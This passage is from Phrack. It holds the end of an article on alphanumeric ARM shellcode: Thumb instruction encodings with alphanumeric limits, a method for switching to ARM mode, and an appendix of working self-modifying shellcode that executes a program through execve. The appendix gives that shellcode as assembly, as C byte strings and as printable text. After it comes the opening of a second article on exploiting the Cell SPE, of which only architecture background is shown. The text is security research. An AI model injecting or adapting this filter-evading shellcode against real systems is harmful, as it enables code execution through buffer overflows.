        | 0| 1| 0| 0| 0| 0| 0| 1| 0| 0|  Rs |  Rd |
        +--+--+--+--+--+--+--+--+-----+-----+-----+
        Since bits 7 and 6 of ASR are 0, the first 2 bits of Rs must be 1.
        This means that Rs must be either R6 or R7.

- BX: Syntax: BX <Rm>
       15 14 13 12 11 10  9  8  7  6  5   3  2  0
      +--+--+--+--+--+--+--+--+--+---+-----+-----+
      | 0| 1| 0| 0| 0| 1| 1| 1| 0| H2|  Rm | SBZ |
      +--+--+--+--+--+--+--+--+--+---+-----+-----+
      The branch and exchange instruction can be used to enter ARM mode.
      This is useful if we have code which starts off in Thumb mode:
      since SWI is not alphanumeric in Thumb, we can’t flush the cache
      if we write self-modifying code. We can, however use the
      BX instruction to get into ARM mode, where the SWI instruction is
      alphanumeric. We discuss this in more detail below.
      If bit 6 is 0, we must have bits 5 and 4 set to 1, this means that
      we can only use R6 and R7 from the low registers. For the high
      registers we can use R9, R10, R11, R13, R14 and R15
```

- CMP: There are three versions of CMP: CMP (1) to CMP (3). CMP (2) is not alphanumeric.
  - CMP (1) compares a register to an immediate.
    Syntax: CMP <Rn>, #<imm_8>

```
  15 14 13 12 11 10  8 7             0
 +--+--+--+--+--+-----+---------------+
 | 0| 0| 1| 0| 1|  Rn |      imm_8    |
 +--+--+--+--+--+-----+---------------+
```

    As with ADD (2), Rn can be any low register but imm_8 must follow the constraints of being alphanumeric:
      - 47 < imm_8 < 123
      - imm_8 is not 58-64 or 91-96.
  - CMP (3) compares the value of two registers of which one or both must be a high register.
    Syntax: CMP <Rn>, <Rm>

```
  15 14 13 12 11 10  9  8  7   6  5   3  2  0
 +--+--+--+--+--+--+--+--+---+---+-----+-----+
 | 0| 1| 0| 0| 0| 1| 0| 1| H1| H2|  Rm |  Rd |
 +--+--+--+--+--+--+--+--+---+---+-----+-----+
```

    The same restrictions apply as for ADD. In our case Rn may not be a high register because that would set bit 7 of the instruction to 1. As a result, we can only use this instruction to compare the contents of a high register to a low one. As with ADD, Rm can not be R8 if Rn is R0 and comparing two low registers is unpredictable.

- LDR: There are many versions of this instruction: LDR (1) to LDR (4), LDRB (1), LDRB (2), LDRH (1), LDRH (2), LDRSB and LDRSH. Of these, only LDR (4) and LDRH (1) are not alphanumeric.
  - LDR (1) Loads a word from memory address stored in a register into another register. A word offset of maximum 5 bits (i.e. the value is multiplied by 4) can be given to the register containing the memory address.
  Syntax: LDR <Rd>, [<Rn>, #<imm_5> * 4]

```
 15 14 13 12 11 10       6  5  3  2  0
+--+--+--+--+--+----------+-----+-----+
| 0| 1| 1| 0| 1|  imm_5   |  Rn |  Rd |
+--+--+--+--+--+----------+-----+-----+
```

  The constraints on register use in this case depend on the value of the immediate. However, we can conclude that in no cases can Rn and Rd both be R0 at the same time.
  If imm_5 is uneven (i.e. bit 6 is set) , then all other registers can be used. However, if imm_5 is even (i.e. bit 6 is not set), then only R6 and R7 can be used as Rn.
  - LDR (2) does the same as LDR (1) except that the offset to the register containing the memory address to read from is stored in a register and as a result can be larger than 32.
  Syntax: LDR <Rd>, [<Rn>, <Rm>]

```
 15 14 13 12 11 10  9  8  6  5  3  2  0
+--+--+--+--+--+--+--+-----+-----+-----+
| 0| 1| 0| 1| 1| 0| 0|  Rm |  Rn |  Rd |
+--+--+--+--+--+--+--+-----+-----+-----+
```

  Since bit 7 must be 0, Rm is already constrained to registers: R0, R1, R4 and R5. However, if Rm is R0 or R4, then Rn must be R6 or R7. If Rm is R1 or R5 then Rn and Rd can not both be R0.
  - LDR (3) loads a word into a register based on an 8 bit offset from the program counter (PC).
  Syntax: LDR <Rd>, [PC, #<imm_8> * 4]

```
 15 14 13 12 11 10  8 7             0
+--+--+--+--+--+-----+---------------+
| 0| 1| 0| 0| 1|  Rd |      imm_8    |
+--+--+--+--+--+-----+---------------+
```

  As with ADD (2) and CMP (1) Rd can be any low register but imm_8 must follow the constraints of being alphanumeric.
  - LDRB (1) is essentially the same as LDR (1) except that it loads a byte from memory instead of a word.
  Syntax: LDRB <Rd>, [<Rn>, #<imm_5>]

```
          15 14 13 12 11 10       6  5  3  2  0
         +--+--+--+--+--+----------+-----+-----+
         | 0| 1| 1| 1| 1|  imm_5   |  Rn |  Rd |
         +--+--+--+--+--+----------+-----+-----+
         Similar restrictions apply, with the added restriction however
         that imm_5 must be lower than 12, because otherwise the first byte
         is larger than 'z' (0x7a). However, if imm_5 is 11 or 10, then
         bit 7 of the second byte will be set to one, so in reality it must
         be lower than 10 and not equal 7, 6, 2 or 3.
         - LDRB (2) is the same as LDR (2) except that it behaves like
         LDRB (1), i.e. it loads a byte instead of a word.
         Syntax: LDRB <Rd>, [<Rn>, <Rm>]
          15 14 13 12 11 10  9  8  6  5  3  2  0
         +--+--+--+--+--+--+--+-----+-----+-----+
         | 0| 1| 0| 1| 1| 1| 0|  Rm |  Rn |  Rd |
         +--+--+--+--+--+--+--+-----+-----+-----+
         Since the second byte is identical, the same restrictions as
         for LDR (2) apply.
         - LDRH (2) is the same as LDR (2) and LDRB (2), except it loads a
         halfword (16 bits).
         Syntax: LDRH <Rd>, [<Rn>, <Rm>]
          15 14 13 12 11 10  9  8  6  5  3  2  0
         +--+--+--+--+--+--+--+-----+-----+-----+
         | 0| 1| 0| 1| 1| 0| 1|  Rm |  Rn |  Rd |
         +--+--+--+--+--+--+--+-----+-----+-----+
         The same restrictions as for LDR (2) and LDRB (2) apply.
         - LDRSB is the same as LDRB (2), except that it interprets the
         byte that it loads as signed.
         Syntax: LDRSB <Rd>, [<Rn>, <Rm>]
          15 14 13 12 11 10  9  8  6  5  3  2  0
         +--+--+--+--+--+--+--+-----+-----+-----+
         | 0| 1| 0| 1| 0| 1| 1|  Rm |  Rn |  Rd |
         +--+--+--+--+--+--+--+-----+-----+-----+

         Again, the same restrictions apply as for LDRB(2).
         - LDRSH is the halfword equivalent of LDRSB.
         Syntax: LDRSH <Rd>, [<Rn>, <Rm>]
          15 14 13 12 11 10  9  8  6  5  3  2  0
         +--+--+--+--+--+--+--+-----+-----+-----+
         | 0| 1| 0| 1| 1| 1| 1|  Rm |  Rn |  Rd |
         +--+--+--+--+--+--+--+-----+-----+-----+
         The same restrictions apply as for LDRB(2) and LDRH (2).

- MOV: There are three versions of this instrction: MOV (1) to MOV (3),
       but only MOV (3) is alphanumeric. MOV (3) moves to, from or between
       high registers.
       Syntax: MOV <Rd>, <Rm>
         15 14 13 12 11 10  9  8  7   6  5   3  2  0
        +--+--+--+--+--+--+--+--+---+---+-----+-----+
        | 0| 1| 0| 0| 0| 1| 1| 0| H1| H2|  Rm |  Rd |
        +--+--+--+--+--+--+--+--+---+---+-----+-----+
       As with other instructions (ADD and CMP) that operate on high
       registers, Rd can not be R0 if Rm is R8 and using two low registers
       is unpredictable.

- MUL: Syntax: MUL <Rd>, <Rm>
         15 14 13 12 11 10  9  8  7  6  5  3  2  0
        +--+--+--+--+--+--+--+--+--+--+-----+-----+
        | 0| 1| 0| 0| 0| 0| 1| 1| 0| 1|  Rm |  Rd |
        +--+--+--+--+--+--+--+--+--+--+-----+-----+
       Since the second byte of MUL is identical to the second byte of the
       ADC instruction, it has the same limitations.
       I.e. the only limitation on registers is that we can't use R0 as
       both Rm and Rd, all other combinations with low registers are
       valid.

- NEG: Syntax: NEG <Rd>, <Rm>
         15 14 13 12 11 10  9  8  7  6  5  3  2  0
        +--+--+--+--+--+--+--+--+--+--+-----+-----+
        | 0| 1| 0| 0| 0| 0| 1| 0| 0| 1|  Rm |  Rd |
        +--+--+--+--+--+--+--+--+--+--+-----+-----+
       The second byte of NEG is identical to the second bytes of MUL and
       ADC, so the same limitations apply.

- STR: As with LDR, there are many versions of STR: STR (1) to STR (3),
       STRB (1) and (2), STRH (1) and (2). However STR (3) and STRH (1)
       are not alphanumeric.
       - STR (1) the complementary instruction to LDR (1) stores a word
        from a register to memory.  As with LDR (1), it will take an
        immediate of 5 bytes that it multiplies by 4 and uses as offset
        for a base register that contains a memory address to write to.
        Syntax: STR <Rd>, [<Rn>, #<imm_5> * 4]
         15 14 13 12 11 10       6  5  3  2  0
        +--+--+--+--+--+----------+-----+-----+
        | 0| 1| 1| 0| 0|  imm_5   |  Rn |  Rd |
        +--+--+--+--+--+----------+-----+-----+
        The same limitations as with LDR (1) apply.
       - STR (2) is the complementary instruction to LDR (2).
        Syntax: STR <Rd>, [<Rn>, <Rm>]
         15 14 13 12 11 10  9  8  6  5  3  2  0
        +--+--+--+--+--+--+--+-----+-----+-----+
        | 0| 1| 0| 1| 0| 0| 0|  Rm |  Rn |  Rd |
        +--+--+--+--+--+--+--+-----+-----+-----+
        Again, the same limitations as with LDR (2) apply.
       - STRB (1) is complementary to LDRB (1).
        Syntax: STRB <Rd>, [<Rn>, #<imm_5>]
         15 14 13 12 11 10       6  5  3  2  0
        +--+--+--+--+--+----------+-----+-----+
        | 0| 1| 1| 1| 0|  imm_5   |  Rn |  Rd |
        +--+--+--+--+--+----------+-----+-----+
        Since bit 11 is 0, the limitations are less stringent than with
        LDRB (1). As such, the limitations of STR (1) apply rather than
        the ones of LDRB (1).
       - STRB (2) is complementary to LDRB (2)
        Syntax: STRB <Rd>, [<Rn>, <Rm>]
         15 14 13 12 11 10  9  8  6  5  3  2  0
        +--+--+--+--+--+--+--+-----+-----+-----+
        | 0| 1| 0| 1| 0| 1| 0|  Rm |  Rn |  Rd |
        +--+--+--+--+--+--+--+-----+-----+-----+
        The same limitations as with LDRB (2) apply.
       - STRH (2) is complementary to LDRH (2).
        Syntax: STRH <Rd>, [<Rn>, <Rm>]
         15 14 13 12 11 10  9  8  6  5  3  2  0
        +--+--+--+--+--+--+--+-----+-----+-----+
        | 0| 1| 0| 1| 0| 0| 1|  Rm |  Rn |  Rd |
        +--+--+--+--+--+--+--+-----+-----+-----+
        The same limitations apply.

- SUB: There are four versions of SUB, but only SUB (2) is alphanumeric.
       Syntax: SUB <Rd>, <imm_8>
         15 14 13 12 11 10  8 7             0
        +--+--+--+--+--+-----+---------------+
        | 0| 0| 1| 1| 1|  Rd |      imm_8    |
        +--+--+--+--+--+-----+---------------+
       Since the second byte of SUB (2) only contains an immediate, it has
       the same limitations as the second byte of ADD (2), CMP (1) and
       LDR(3).
       However, unlike in ADD (2), CMP (1) and LDR (3), we can't use any
       register for Rd. Since the first 5 bits of SUB are 00111, this
       covers a range of 0x38 to 0x3f. However only 0x38 and 0x39 (the
       characters '8' and '9') are alphanumeric. This means that we can
       only use registers R0 and R1 as Rd this SUB instruction.

- TST: Syntax: TST <Rn>, <Rm>
         15 14 13 12 11 10  9  8  7  6  5  3  2  0
        +--+--+--+--+--+--+--+--+--+--+-----+-----+
        | 0| 1| 0| 0| 0| 0| 1| 0| 0| 0|  Rm |  Rn |
        +--+--+--+--+--+--+--+--+--+--+-----+-----+
```

Since bit 7 and 6 are both set to 0, this means that bits 5 and 4 must be set to 1. This yields the following restrictions:

- Rm must be either: R6 or R7.
- If Rm is R6, then Rn can be any other low register.
- If Rm is R7, then Rn can only be R0 or R1.

An important instruction that is missing from the above list is the SWI instruction. To be able to get around the fact that SWI is not alphanumeric in Thumb mode, we overwrite it from ARM mode. However, unlike the SWI in ARM mode, the argument to SWI will not be used to determine the system call number that we want to call. Instead we must place the system call number into R7. Unlike in ARM mode, where we must add 0x900000 to the system call number, we can just place the number in R7 as is.

An example of calling execve in ARM mode:

```
    SWI 0x90000b
```

In Thumb mode:

```
    MOV r7, #0x0b
    SWI 48
```

----[2.9 Going to ARM Mode

For programs that we wish to exploit that are already running in Thumb mode, we still have a problem: we can’t write self-modifying code in Thumb mode because we can’t call SWI to perform a cache flush. However, since the BX instruction is alphanumeric in Thumb mode, we can use that instruction to get us into ARM mode where we can do all the cool stuff we’ve discussed above. Here is an example of a code snippet that gets us into ARM mode:

```
    BX pc
    ADD r7, #50
```

We need the add instruction as a nop instruction because PC will point to the current instruction + 4. The BX pc instruction will be represented alphanumerically as ’G’’x’.

--[3. Conclusion

This article shows that alphanumeric shellcode is realistic on the ARM processor, even though it is harder to generate because of the nature of the ARM processor. Any operation, including non-alphanumeric instructions, can be executed by writing self-modifying code and flushing the instruction cache. Consequently, alphanumeric shellcode is Turing complete.

The thumb instruction set can be used, if available, to facilitate writing shellcode. Its denser instruction structure makes it somewhat easier to make it generate alphanumeric bytes. However, having access to the thumb instruction set is not required.

--[4. Acknowledgements

The authors would like to thank Frank Piessens, tetsuki and tohomo for their contributions to the project which resulted in this article.

We would also like to thank HD Moore for his helpful suggestions when we were trying to make our shellcode printable.

Shoutouts to the people from nologin/uninformed: arachne, bugcheck, dragorn, gamma, h1kari, hdm, icer, jhind, johnycsh, mercy, mjm, mu-b, nemo, ninja405, pandzilla, pusscat, rizzo, rjohnson, sih, skape, skywing, slow, trew, vf, warlord, wastedimage, west, X, xbud

--[5. References

[0] The ARM Architecture Reference Manual
http://www.arm.com/miscPDFs/14128.pdf

[1] Writing ia32 alphanumeric shellcodes
http://www.phrack.org/issues.html?issue=57&id=18#article

[2] Into my ARMs: Developing StrongARM/Linux shellcode
http://www.isec.pl/papers/into_my_arms_dsls.pdf

--[A. Shellcode Appendix

----[A.0 Writable Memory

For debugging purposes, it is convenient to execute the shellcode as a normal application, instead of injecting it into a buffer. However, if it's compiled as a normal application, the code will be loaded in non-writable code memory. Since our shellcode is self-modifying, the application will first have to set the memory to writable before executing the code. This can be done with the following code fragment:

```
    .ARM
    # set the text section writable
    MOV      r0, #32768
    MOV      r1, #4096
    MOV      r2, #7
    BL       mprotect
```

Of course, this is not necessary when the shellcode is injected through a buffer overflow. The memory that contains the buffer will always be writable.

----[A.1 Example Shellcode

In this example, the shellcode starts up, switches to thumb mode and executes the application "/execme". Some of the techniques presented here are: getting a known value into a register, modifying our own shellcode, flushing the instruction cache, and switching from ARM to Thumb.

```
    # our shellcode starts here
    # nops
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    # do not change these instructions
    # we will use them to load a value
    # into our register
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    # continue nops
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56
    SUBPL    r3, r1, #56

    # we can't load directly from
    # PC so we must get PC into r3
    # we do this by subtracting 48
    # from PC
    SUBMI    r3, pc, #48
    SUBPL    r3, pc, #48

    # load 56 into r3
    LDRPLB   r3, [r3, #-48]
    LDRMIB   r3, [r3, #-48]

    # Set r5 to -1
    # update the flags: result is negative
    # so we know we need MI from now on
    SUBMIS   r5, r3, #57
    SUBPLS   r5, r3, #57

    # r7 to stackpointer
    SUBMI    r7, SP, #48
    # Set r3 to 0
    # set positive flag
    SUBMIS   r3, r3, #56
    # set r4 to 0
    SUBPL    r4, r3, r3, ROR #2
    # Set r6 to 0
    SUBPL    r6, r4, r4, ROR #2

    # store registers to stack
    STMPLFD  r7, {r0, r4, r5, r6, r8, lr}^

    # r5 to -121
    SUBPL    r5, r4, #121

    # copy PC to r6
    SUBPL    r6, PC, r5, ROR #2

    SUBPL    r6, r6, r5, ROR #2
    SUBPL    r6, r6, r5, ROR #2
    SUBPL    r6, r6, r5, ROR #2
    SUBPL    r6, r6, r5, ROR #2
    SUBPL    r6, r6, r5, ROR #2
    SUBPL    r6, r6, r5, ROR #2

    # write 0 to SWI 0x414141
    # becomes: SWI 0x410041
    # OFFSET USED HERE
    # IF CODE CHANGES, CHANGE OFFSET
    STRPLB   r3, [r6, #-100]
    # put 56 back into r3
    # we are positive after this
    EORPLS   r3, r3, #56

    SUBPL    r7, r3, #57

    # write 9F to SWI 0x410041
    # becomes SWI 0x9F0041
    # we are negative after this
    EORPLS   r5, r7, #80
    # negative
    EORMIS   r5, r5, #48
    # OFFSET USED HERE
    # IF CODE CHANGES, CHANGE OFFSET
    STRMIB   r5, [r6, #-99]

    # write 2 to SWI 0x9F0041
    # becomes SWI 0x9F0002
    SUBMI r5, r3, #54
    STRMIB   r5, [r6, #-101]

    # write 0x16 to 0x41303030
    # becomes 0x41303016
    # positive
    EORMIS   r5, r3, #66
    EORPLS   r5, r5, #108
    # OFFSET USED HERE
    # IF CODE CHANGES, CHANGE OFFSET
    STRPLB   r5, [r6, #-89]

    # write 2F to 0x41303016
    # becomes 0x412F3016
    EORPLS   r5, r3, #86
    EORPLS   r5, r5, #65
    # OFFSET USED HERE
    # IF CODE CHANGES, CHANGE OFFSET
    STRPLB   r5, [r6, #-87]

    # write FF to 0x412FFF16
    # becomes 0x412FFF16 (BXPL r6)
    # OFFSET USED HERE
    # IF CODE CHANGES, CHANGE OFFSET
    STRPLB   r7, [r6, #-88]

    # r7 = -1
    # set r3 to  -121
    SUBPL    r3, r7, #120
    #
    SUBPL    r6, r6, r3, ROR #2

    # write DF for swi to 0x3030
    # becomes 0xDF30 (SWI 48)
    # becomes negative
    EORPLS   r5, r7, #97
    EORMIS   r5, r5, #65
    # OFFSET USED HERE
    # IF CODE CHANGES, CHANGE OFFSET
    STRMIB   r5, [r6, #-73]

    # Set positive flag
    EORMIS   r7, r4, #56

    # load arguments for SWI
    # r0 = 0, r1 = -1, r2 = 0
    SUBPL    r5, SP, #48
    # We use LDMPLFA, because it’s one of the few instructions
    # we can use to write to the registers R0 to R2.
    # Other instructions generate non-alphanumeric characters
    LDMPLFA  r5!, {r0, r1, r2, r6, r8, lr}

    # Set r7 to -1
    # Negative after this
    SUBPLS   r7, r7, #57

    # This will become:
    # SWIMI 0x9f0002
    SWIMI    0x414141

    # Set positive flag again
    EORMIS   r5, r4, #56

    # set thumb mode
    SUBPL    r6, pc, r7, ROR #2

    # this should be BXPL r6
    # but in hex that’s
    # 0x51 0x2f 0xff 0x16, so we
    # overwrite the 0x30 above
    .byte    0x30,0x30,0x30,0x51

    .THUMB
    .ALIGN 2
    # We assume r2 is 0 before
    # entering Thumb mode

    # copy pc to r0
    mov    r0, pc

    # OFFSET USED HERE
    # IF CODE CHANGES, CHANGE OFFSET
    # misalign r0 to address of 1execme2 - 47
    # we will write to r0+47 and r0+54
    # (beginning of the string)
    add    r0, #100
    sub    r0, #105

    # set r1 to 0
    mul    r1, r2
    # set r1 tp 47
    add    r1, #97
    sub    r1, #50
    # store r1 (’/’) at r0+47
    # string becomes /execme2
    strb   r1, [r0, r1]

    # set r1 to 0
    mul    r1, r2
    # set r1 to 54
    add    r1, #54
    # store 0 at r0+54
    # string becomes /execme\0
    strb   r2, [r0, r1]

    # set r1 to 0
    mul    r1, r2
    # set r1 to -1
    add    r1, #48
    sub    r1, #49
    # set r7 to 1
    neg    r7, r1

    # set r1 to 0
    mul    r1, r2
    # set r1 to 11 (0xb),
    # the exec system call code
    add    r1, #65
    sub    r1, #54
    # our systemcall code must be in r7
    # r7 = 1, r1 contains the code
    mul    r7, r1

    # set r1 to 0 (first parameter of execve)
    mul    r1, r2

    # set r0 to beginning of the string
    add    r0, #97
    sub    r0, #50

    # This wil become: swi  48
    .byte  0x30,0x30
    # This is a nop used for
    # alignment
    add    r7, #50
    # our command
    .ascii "1execme2"
    # nops used for alignment
    add    r7, #50
    add    r7, #50
```

----[A.2 Resulting Bytes

```
char shellcode[] =    "\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41"
  "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41"
  "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41"
  "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41"
  "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41"
  "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41"
  "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41"
  "\x52\x30\x30\x4f\x42\x30\x30\x4f\x52\x30\x30\x53\x55\x30\x30\x53"
  "\x45\x39\x50\x53\x42\x39\x50\x53\x52\x30\x70\x4d\x42\x38\x30\x53"
  "\x42\x63\x41\x43\x50\x64\x61\x44\x50\x71\x41\x47\x59\x79\x50\x44"
  "\x52\x65\x61\x4f\x50\x65\x61\x46\x50\x65\x61\x46\x50\x65\x61\x46"
  "\x50\x65\x61\x46\x50\x65\x61\x46\x50\x65\x61\x46\x50\x64\x30\x46"
  "\x55\x38\x30\x33\x52\x39\x70\x43\x52\x50\x50\x37\x52\x30\x50\x35"
  "\x42\x63\x50\x46\x45\x36\x50\x43\x42\x65\x50\x46\x45\x42\x50\x33"
  "\x42\x6c\x50\x35\x52\x59\x50\x46\x55\x56\x50\x33\x52\x41\x50\x35"
  "\x52\x57\x50\x46\x55\x58\x70\x46\x55\x78\x30\x47\x52\x63\x61\x46"
  "\x50\x61\x50\x37\x52\x41\x50\x35\x42\x49\x50\x46\x45\x38\x70\x34"
  "\x42\x30\x50\x4d\x52\x47\x41\x35\x58\x39\x70\x57\x52\x41\x41\x41"
  "\x4f\x38\x50\x34\x42\x67\x61\x4f\x50\x30\x30\x30\x51\x78\x46\x64"
  "\x30\x69\x38\x51\x43\x61\x31\x32\x39\x41\x54\x51\x43\x36\x31\x42"
  "\x54\x51\x43\x30\x31\x31\x39\x4f\x42\x51\x43\x41\x31\x36\x39\x4f"
  "\x43\x51\x43\x61\x30\x32\x38\x30\x30\x32\x37\x31\x65\x78\x65\x63"
  "\x6d\x65\x32\x32\x37\x32\x37";


80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR
80AR80AR80AR80AR80AR80AR80AR80AR00OB00OR00SU00SE9PSB9PSR0pMB80SBcACP
daDPqAGYyPDReaOPeaFPeaFPeaFPeaFPeaFPeaFPd0FU803R9pCRPP7R0P5BcPFE6PCBePFE
BP3BlP5RYPFUVP3RAP5RWPFUXpFUx0GRcaFPaP7RAP5BIPFE8p4B0PMRGA5X9pWRAAAO8P4B
gaOP000QxFd0i8QCa129ATQC61BTQC0119OBQCA169OCQCa02800271execme22727
```

--------[EOF

```
                           ==Phrack Inc.==

               Volume 0x0d, Issue 0x42, Phile #0x0D of 0x11

|=-----------------------------------------------------------------------=|
|=----------=[ Hacking the Cell Broadband Engine Architecture ]=----------=|
|=--------------------=[ SPE software exploitation ]=---------------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ By BSDaemon                                ]=-----------=|
|=---------------=[ <bsdaemon *noSPAM* risesecurity_org>       ]=-----------=|
|=-----------------------------------------------------------------------=|
```

```
                                        "There are two ways of
                                        constructing a software design.
                                        One way is to make it so simple
                                        that there are obviously no
                                        deficiencies.  And the other way
                                        is to make it so complicated that
                                        there are no obvious deficiencies"
                                                - C.A.R. Hoare
```

------[Index

  8 - Sources

------[1 - Introduction

This article is all about Cell Broadband Architecture Engine [1], a new hardware designed by a joint between Sony [2], Toshiba [3] and IBM [4].

As so, lots of architecture details will be explained, and also many development differences for this platform.

The biggest differentiator between this article and others released about this subject, is the focus on the architecture exploitation and not the use of the powerful processor resources to break code [5] and of course, the focus in the differentiators of the architecture, which means the SPU (synergestic processor unit) and not in the core (PPU - power processor unit) [6], since the core is a small-modified power processor (which means, all shellcodes for Linux on Power will also works for the core and there is just small differences in the code allocation and stuffs like that).

It's important to mention that everything about Cell tries to focus in the Playstation3 hardware, since it's cheap and widely deployed, but there is also big machines made with this processor [7], including the #1 in the list of supercomputers [8].

---[1.1 - Paper structure

The idea of this paper is to complete the studies about Cell, putting all the information needed to do security research, focused in software exploitation for this architecture together.

For that, the paper have been structured in two important portions:

Chapter 2 will be all about the Cell Architecture and how to develop for this architecture. It includes many samples and explains the modifications done to Linux in order to get the best from this architecture. Also, it gives the knowledge needed in order to go further in software exploitation for this arch. Chapter 3 is focused in the exploitation of the SPU processor, showing the simple memory layout it has and how to write a shellcode for the purpose of gaining control over an application running inside the SPU.

------[2 - Cell Broadband Engine Architecture

From the IBM Research [9]: "The Cell Architecture grew from a challenge posed by Sony and Toshiba to provide power-efficient and cost-effective high-performance processing for a wide range of applications, including the most demanding consumer appliance: game consoles. Cell - also known as the Cell Broadband Engine Architecture (CBEA) - is an innovative solution whose design was based on the analysis of a broad range of workloads in areas such as cryptography, graphics transform and lighting, physics, fast-Fourier transforms (FFT), matrix operations, and scientific workloads. As an example of innovation that ensures the clients' success, a team from IBM Research joined forces with teams from IBM Systems Technology Group, Sony and Toshiba, to lead the development of a novel architecture that represents a breakthrough in performance for consumer applications. IBM Research participated throughout the entire development of the architecture, its implementation and its software enablement, ensuring the timely and efficient application of novel ideas and technology into a product that solves real challenges."

It's impossible to not get excited with this. A so 'powerful' and versatile architecture, completely different from what we usually seen is an amazing stuff to research for software vulnerabilities. Also, since it's supposed to be widely deployed, there will be an infinite number of new vulnerabilities coming on in the near future. I wanted to exploit those vulnerabilities.

---[2.1 - What is Cell

As must be already clear to the reader, I'm not talking about phones here. Cell is a new architecture, which cames to solve some of the actual problems in the computer industry.

It's compatible with a well-known architecture, which are the Power Architecture, keeping most of it's advantages and solving most of it's problems (if you cannot wait until know what problems, go to 2.2.1 section).

---[2.2 - Cell History

The focus of this section is just to give a timeline vision for the reader, not been detailed at all.

The architecture was born from a joint between IBM, Sony and Toshiba, formed in 2000.

They opened a design center in March 2001, based in Austin, Texas (USA).

In the spring of 2004, a single Cell BE became operational. In the summer of the same year, a 2-way SMP version was released.

The first technical disclosures came just in February 2005, with the simulator [10] and open-source SDK [11] (more on that later) been released in November of the same year. In the same month, Mercury started to sell Cell (yeah, sell Cell sounds funny) machines.

Cell Blades was announced by IBM in February of 2006. The SDK 1.1 was released in July of the same year, with many improvements. The latest version is 3.1.

---[2.2.1 - Problems it solves

The computer technology have been evolving along the years, but always suffering and trying to avoid some barriers.

Those barriers are physically impossible to be bypassed and that's why the processor clock stopped to grow and multi-core architectures been focused.

Basically we have three big walls (barriers) to the speedy grow:

- Power wall
  It's related to the CMOS technology limits and the hard limit to the acceptable system power

- Memory wall
  Many comparisons and improvements trying to avoid the DRAM latency when compared to the processor frequency

- Frequency wall
  Diminishing return from deeper pipelines

For a new architecture to work and be widely deployed, it was also important to keep the investments in software development.

Cell accomplish that being compatible with the 64 bits Power Architecture, and attacks the walls in the following ways:

- Non-homogeneous coherent multi-processor and high design frequency at a low operating voltage with advanced power management attacks the ’power wall’.

- Streaming DMA architecture and three-level memory model (main storage, local storage and register files) attacks the ’memory wall’.
- Non-homogeneous coherent multi-processor, highly-optimized implementation and large shared register files with software controlled branching to allow deeper pipelines attacks the ’frequency wall’.

It have been developed to support any OS, which means it supports real-time operating system as well non-real time operating systems.

---[2.2.2 - Basic Design Concept

The basic concept behind cell is it’s asymmetric multi-core design. That permits a powerful design, but of course requires specific-developed applications to achieve the most of the architecture.

Knowing that, becomes clear that the understanding of the new component, which is called SPU (synergistic processor unit) or SPE (synergistic processor element) proofs to be essential - see the next section for a better understanding of the differences between SPU and SPE.

---[2.2.3 - Architecture Components

In cell what we have is a core processor, called Power Processor Element (PPE) which control tasks and synergistic processor elements (SPEs) for data-intensive processing.

The SPE consists of the synergistic processor unit (SPU), which are a processor itself and the memory flow control (MFC), responsible for the data movements and synchronization, as well for the interface with the high-performance element interconnect bus (EIB).

Communications with the EIB are done in a 16B/cycle, which means that each SPU is interconnected at that speedy with the bus, which supports 96B/cycle.

Refer to the picture architecture-components.jpg in the directory images of the attached file for a visual of the above explanation.

---[2.2.4 - Processor Components

As said, the Power Processor Element (PPE) is the core processor which control tasks (scheduling). It is a general purpose 64 bit RISC processor (Power architecture).

It’s 2-way hardware multithreaded, with a L1: 32KB I and D caches and L2: 512KB cache.

Has support for real-time operations, like locking the L2 cache and the TLB (also it supports managed TLB by hardware and software). It has bandwidth and resource reservation and mediated interrupts.

It’s also connected to the EIB using a 16B/cycle channel (figure processor-components.jpg).

The EIB itself supports four 16 bytes data rings with simultaneous transfers per ring (it will be clarified later).

This bus supports over 100 simultaneous transactions achieving in each bus data port more than 25.6 Gbytes/sec in each direction.

On the other side, the synergistic processor element is a simple RISC user-mode architecture supporting dual-issue VMX-like, graphics SP-float and IEEE DP-float.

Important to note that the SPE itself has dedicated resources: unified 128 x 128 bit register files and 256KB local storage. Each SPE has a dedicated DMA engine, supporting 16 requests.

The memory management on this architecture simplified it's use, with the local storage of the SPE being aliased into the PPE system memory (figure processor-components2.jpg).

MFC in the SPE acts as the MMU providing controls over the SPE DMA access and it's compatible with the PowerPC Virtual Memory layout and is software controllable using PPE MMIO.

DMA access supports 1,2,4,8...n*16 bytes transfer, with a maximum of 16 KB for I/O, and with two different queues for DMA commands: Proxy & SPU (more on this later).

EIB is also connected in a broadband interface controller (BIC). The purpose of this controller is to provide external connectivity for devices. It supports two configurable interfaces (60 GB/s) with a configurable number of bytes, coherent (BIF) and/or I/O (IOIFx) protocols, using two virtual channels per interface, and multiple system configurations.

The memory interface controller (MIC) is also connected to the EIB and is a Dual XDR controller (25.6 GB/s) with ECC and suspended DRAM support (figure processor-components3.jpg).

Still are missing two more components: The internal interrupt controller (IIC) and the I/O Bus Master Translation (IOT) (figure processor-components4.jpg).

